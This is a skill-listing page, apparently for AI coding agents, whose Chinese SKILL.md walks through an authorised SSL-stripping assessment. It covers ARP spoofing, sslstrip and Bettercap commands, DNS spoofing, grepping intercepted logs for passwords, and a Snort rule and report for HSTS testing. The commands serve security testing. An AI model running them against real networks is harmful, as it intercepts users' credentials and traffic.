performing-ssl-stripping-attack
在授权环境中使用 sslstrip、Bettercap 和 mitmproxy 模拟 SSL 剥离(SSL Stripping)攻击, 测试 HSTS 强制执行、证书验证以及保护用户免受加密连接降级攻击的 HTTPS 升级机制。
Best use case
performing-ssl-stripping-attack is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
在授权环境中使用 sslstrip、Bettercap 和 mitmproxy 模拟 SSL 剥离(SSL Stripping)攻击, 测试 HSTS 强制执行、证书验证以及保护用户免受加密连接降级攻击的 HTTPS 升级机制。
Teams using performing-ssl-stripping-attack should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/performing-ssl-stripping-attack/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How performing-ssl-stripping-attack Compares
| Feature / Agent | performing-ssl-stripping-attack | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
在授权环境中使用 sslstrip、Bettercap 和 mitmproxy 模拟 SSL 剥离(SSL Stripping)攻击, 测试 HSTS 强制执行、证书验证以及保护用户免受加密连接降级攻击的 HTTPS 升级机制。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 执行 SSL 剥离攻击 ## 适用场景 - 测试 Web 应用是否通过 HSTS 头部和重定向链正确强制执行 HTTPS - 验证 HSTS 预加载是否正确配置并已注册到浏览器预加载列表 - 在授权安全评估中向利益相关者演示明文 HTTP 的风险 - 评估内部应用和厚客户端(Thick Client)是否验证 TLS 证书并拒绝降级 - 培训 SOC 团队检测网络流量中的 SSL 剥离指标 **不适用于**在没有明确书面授权的情况下针对网络或应用使用,不得拦截真实用户凭据,未经变更管理批准不得在业务时间针对生产系统使用。 ## 前置条件 - 书面授权,明确授权范围内的应用和批准的攻击技术 - 攻击机上安装 Bettercap 2.x 或 sslstrip2 - 建立 ARP 欺骗或其他中间人(MITM)定位(参见 ARP 欺骗技能) - 攻击机上启用 IP 转发 - 使用 Wireshark 验证攻击成功并捕获证据 - 测试账户(非真实用户凭据)用于演示凭据拦截 ## 工作流程 ### 步骤 1:建立中间人位置 ```bash # 启用 IP 转发 sudo sysctl -w net.ipv4.ip_forward=1 # 通过 Bettercap 使用 ARP 欺骗进行定位 sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on" # 或者使用 dsniff 的 arpspoof sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 & ``` ### 步骤 2:使用 Bettercap 执行 SSL 剥离 ```bash # 启动带 SSL 剥离功能的 Bettercap sudo bettercap -iface eth0 # 启用 ARP 欺骗 > set arp.spoof.targets 192.168.1.50 > set arp.spoof.fullduplex true > arp.spoof on # 启用带 SSL 剥离的 HTTP 代理 > set http.proxy.sslstrip true > set http.proxy.port 8080 > http.proxy on # 启用网络嗅探器进行凭据捕获 > set net.sniff.verbose true > net.sniff on # 监视拦截到的 HTTP 流量(原本是 HTTPS) # Bettercap 将实时显示凭据和 URL ``` ### 步骤 3:使用 sslstrip2 执行 SSL 剥离 ```bash # 配置 iptables 将 HTTP 流量通过 sslstrip 重定向 sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 # 启动 sslstrip sudo sslstrip2 -l 10000 -w sslstrip_log.txt # 在另一个终端中监视拦截到的凭据日志 tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email" # sslstrip 的工作原理: # 1. 拦截包含 HTTPS 链接的 HTTP 响应 # 2. 将响应中的 https:// 替换为 http:// # 3. 维护与真实服务器的 HTTPS 连接 # 4. 向受害者提供降级后的 HTTP ``` ### 步骤 4:测试 HSTS 绕过技术 ```bash # 检查目标是否有 HSTS 头部 curl -sI https://target-app.example.com | grep -i strict-transport-security # 检查目标是否在 HSTS 预加载列表中 curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool # 通过子域名替换测试 HSTS 绕过 # sslstrip2 可以将 URL 替换为看起来相似的 HTTP 替代方案: # https://accounts.google.com -> http://accounts.google.com(有 HSTS 则失败) # https://accounts.google.com -> http://accounts.google.com.(尾随点绕过尝试) # 使用 DNS 欺骗进行 Bettercap HSTS 绕过 sudo bettercap -iface eth0 > set arp.spoof.targets 192.168.1.50 > arp.spoof on > set dns.spoof.domains target-app.example.com > set dns.spoof.address 192.168.1.99 > dns.spoof on > set http.proxy.sslstrip true > http.proxy on # 对于不在 HSTS 预加载列表中的应用,清除测试浏览器中的 HSTS 缓存: # Chrome: chrome://net-internals/#hsts -> 删除域安全策略 # Firefox: 清除最近历史记录 -> 活跃登录(重置 HSTS) ``` ### 步骤 5:验证检测和控制 ```bash # 从受害者角度检查: # 1. 浏览器地址栏应显示 http:// 而非 https:// # 2. 无可见挂锁图标 # 3. 如果 HSTS 有效,浏览器应显示错误并拒绝连接 # 捕获降级的证据 tshark -i eth0 -f "host 192.168.1.50 and port 80" \ -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \ -Y "http.request" > ssl_strip_evidence.txt # 验证受害者看到的与发往真实服务器的内容 # 受害者到攻击者:HTTP(80 端口,明文) tshark -i eth0 -f "src host 192.168.1.50 and dst port 80" -c 20 # 攻击者到真实服务器:HTTPS(443 端口,加密) tshark -i eth0 -f "dst port 443 and dst host <real_server_ip>" -c 20 # 检查 IDS/SIEM 是否有检测 # 应能检测 SSL 剥离指标的 Snort 规则: # alert tcp any any -> $HOME_NET 80 (msg:"Possible SSL Strip - Login form over HTTP"; # flow:to_client,established; content:"type=\"password\""; nocase; # content:"http://"; nocase; sid:9000010;) # 检查缺失 HSTS 头部的告警 curl -s http://target-app.example.com | grep -i "password\|login" # 如果登录表单通过 HTTP 提供,则 SSL 剥离成功 ``` ### 步骤 6:清理和报告 ```bash # 停止 SSL 剥离 # 在 Bettercap 中: > http.proxy off > arp.spoof off > quit # 移除 iptables 规则 sudo iptables -t nat -F PREROUTING # 禁用 IP 转发 sudo sysctl -w net.ipv4.ip_forward=0 # 终止后台进程 sudo killall sslstrip2 arpspoof 2>/dev/null # 验证网络已恢复 ping -c 1 192.168.1.1 ``` ## 核心概念 | 术语 | 定义 | |------|------| | **SSL 剥离(SSL Stripping)** | 降级攻击,拦截 HTTP 到 HTTPS 的重定向,在向受害者提供明文 HTTP 的同时维护与服务器的加密连接 | | **HSTS(HTTP 严格传输安全)** | HTTP 响应头,指示浏览器在指定期限内仅通过 HTTPS 连接,防止后续访问中的 SSL 剥离 | | **HSTS 预加载(HSTS Preloading)** | 将域名提交到浏览器维护的列表,从第一次连接起就强制 HTTPS,消除首次访问的漏洞窗口 | | **证书透明度(Certificate Transparency)** | TLS 证书的公开日志框架,可检测错误签发的证书,但不能防止 SSL 剥离 | | **混合内容(Mixed Content)** | 通过 HTTPS 提供但通过 HTTP 加载资源(脚本、图像)的 Web 页面,产生部分降级漏洞 | | **Upgrade-Insecure-Requests** | CSP 指令,指示浏览器将 HTTP 请求升级为 HTTPS,补充 HSTS 以防止混合内容 | ## 工具与系统 - **Bettercap 2.x**:集成 SSL 剥离、HTTP/HTTPS 代理和凭据嗅探的网络攻击框架 - **sslstrip2**:专用 SSL 剥离工具,通过 URL 重写透明地将 HTTPS 降级为 HTTP - **mitmproxy**:TLS 拦截代理,可修改响应头以移除 HSTS 和其他安全头部 - **curl**:用于测试 HSTS 头部、重定向链和证书验证的命令行工具 - **hstspreload.org**:公共 HSTS 预加载列表检查器,用于验证域名是否包含在浏览器预加载数据库中 ## 常见场景 ### 场景:测试某银行 Web 应用的 HSTS 实施 **背景**:某银行在其网银门户(banking.example.com)上部署了 HSTS,现在需要验证其是否有效防止 SSL 剥离。评估已授权在测试环境同一 VLAN 的工作站上进行测试,使用专用测试账户。 **方法**: 1. 验证 HSTS 头部是否存在及其值:`curl -sI https://banking.example.com | grep -i strict` 显示 `max-age=31536000; includeSubDomains; preload` 2. 检查 HSTS 预加载状态:确认该域名在 Chrome 和 Firefox 预加载列表中 3. 在测试工作站上使用 Bettercap 进行 ARP 欺骗和 SSL 剥离 4. 从测试工作站尝试访问 banking.example.com——Chrome 拒绝连接并显示 NET::ERR_CERT_AUTHORITY_INVALID(HSTS 阻止降级) 5. 使用全新浏览器配置文件(无 HSTS 缓存)测试——仍被阻止,因为该域名已预加载 6. 测试银行移动应用——应用通过 HTTP 成功连接(未强制执行 HSTS),以明文暴露凭据 7. 测试子域名 api.banking.example.com——不在预加载列表中,首次访问前 SSL 剥离成功 **注意事项**: - 使用已为目标域名缓存了 HSTS 的浏览器测试,得出 HSTS 有效的结论,但首次访问的用户可能仍然易受攻击 - 没有单独测试子域名——`includeSubDomains` 仅在收到父域名的 HSTS 头部后才生效 - 忘记测试可能完全不遵守 HSTS 头部的移动应用 - 未检查可能在启用 HSTS 的情况下仍泄露会话令牌的混合内容 ## 输出格式 ``` ## SSL 剥离评估报告 **测试 ID**:SSL-STRIP-2024-001 **目标应用**:banking.example.com **测试日期**:2024-03-15 ### HSTS 配置 | 属性 | 值 | 状态 | |------|-----|------| | HSTS 头部存在 | 是 | 通过 | | max-age | 31536000(1 年) | 通过 | | includeSubDomains | 是 | 通过 | | preload | 是 | 通过 | | 在 Chrome 预加载列表中 | 是 | 通过 | ### SSL 剥离测试结果 | 目标 | 客户端 | HSTS 状态 | 剥离结果 | |------|--------|-----------|----------| | banking.example.com | Chrome(缓存) | 已激活 | 已阻止 | | banking.example.com | Chrome(全新) | 已预加载 | 已阻止 | | banking.example.com | 移动应用 | 未强制执行 | 易受攻击 | | api.banking.example.com | Chrome(全新) | 未预加载 | 易受攻击(首次访问) | ### 建议 1. 在移动银行应用中实施 TLS 证书固定(严重) 2. 将 api.banking.example.com 单独提交到 HSTS 预加载列表 3. 添加 Content-Security-Policy: upgrade-insecure-requests 头部 4. 为该域名实施证书透明度监控 ```
Related Skills
recovering-from-ransomware-attack
按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。
performing-yara-rule-development-for-detection
通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。
performing-wireless-security-assessment-with-kismet
使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。
performing-wireless-network-penetration-test
执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。
performing-windows-artifact-analysis-with-eric-zimmerman-tools
使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。
performing-wifi-password-cracking-with-aircrack
在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。
performing-web-cache-poisoning-attack
在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。
performing-web-cache-deception-attack
通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。
performing-web-application-vulnerability-triage
使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类,区分真阳性和假阳性,并确定修复优先级。
performing-web-application-scanning-with-nikto
Nikto 是一款开源 Web 服务器和 Web 应用程序扫描器,可针对超过 7,000 个潜在危险文件/程序进行测试,检查超过 1,250 个服务器的过期版本,并识别超过 270 个服务器的版本特定问题。
performing-web-application-penetration-test
遵循 OWASP Web 安全测试指南(WSTG)方法论,对 Web 应用程序执行系统化安全测试,识别认证、授权、 输入验证、会话管理和业务逻辑中的漏洞。测试人员以 Burp Suite 作为主要拦截代理,结合手动测试技术 发现自动化扫描器遗漏的缺陷。适用于 Web 应用渗透测试、OWASP 测试、应用安全评估或 Web 漏洞测试等请求场景。
performing-web-application-firewall-bypass
使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护,将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。